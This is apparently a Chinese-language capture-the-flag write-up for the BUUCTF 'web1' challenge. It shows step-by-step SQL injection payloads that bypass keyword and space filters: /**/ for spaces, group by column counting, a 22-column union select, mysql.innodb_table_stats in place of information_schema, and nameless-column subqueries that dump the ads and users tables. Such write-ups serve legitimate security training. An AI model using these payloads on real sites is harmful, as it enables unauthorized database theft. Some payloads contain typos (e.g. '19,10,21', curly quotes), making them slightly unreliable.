網址:BUUCTF在線評測
搜索web1
啟動靶機
?點擊鏈接進入題目
?進入題目后發現有登錄和注冊接口,直接注冊登錄。
首先通過1'進行測試,查看是否有注入點
出現報錯,說明可能存在注入點
?然后繼續測試發現該服務器過濾了:
or、information、join、and、#、空格
?由于or被過濾無法使用order by爆出列數
方法一:可以使用group by進行列數的爆出,空格使用/**/替換
1' /**/group/**/by/**/(1-23),'1? ? ? ? ? ? ? ? ? ? ? ? '1在group by中不算一列
從第一列依次往后測試列數,直到當列數為23時,出現報錯,報錯如下
此時說明該列已經超出該表的列數了,由此得出該表列數為22列
方法二:使用聯合查表一次次測試出列數(比方法一較為麻煩)需要將列依次寫下去,如:
?1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,'1? ?'1在聯合查詢中算一列
當select后面的列數與該表不對會報出以下錯誤(提示列數不一致):?
?當測試到與該表有相同列數時(即22列)
由上圖可知,該表由22列,且數據爆出在2,3位,所以可以通過在2,3位上使用函數進行對需要的信息進行查詢
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1
找到數據庫名
數據庫名知道后,繼續通過聯合查詢找出表名,但過濾了information和and所以可以通過mysql.innodb_table_stats和&&進行替換
-1'/**/union/**/select/**/1,concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'/**/&&/**/'1'=1'
表名顯示不全,可以通過group_concat()函數將表名顯示出來
-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'/**/&&/**/'1'='1
首先對表ads進行查詢,但不知道列名,又因過濾了join所以無法使用重復報錯將列名回顯出來,但是知道列數,所以不找列名,直接查詢
-1'/**/union/**/select /**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/ b,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/union/**/select/**/*/**/from /**/ads)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1---查2
-1' union select 1,(select group_concat(b) from (select 1,2 ,3 as b,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 union select * from ads)as a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1---查3
在表ads中都沒有需要的信息,所以換成users表,但不知道users表的列數,
1'/**/union/**/select/**/1,(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21,22/**/&&/**/‘1’=‘1? ? ---通過修改列數(/**/1,2,3/**/),依次去查詢users表的列數
測試之后查詢到users表位3列,由此繼續查詢(注意別名)
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)as a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21,22/**/&&/**/’1‘=’1---查出users的列名,但沒有想要的信息
1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1,2,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)as a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21,22/**/&&/**/‘1’=‘1---查看第三列,最終得到
?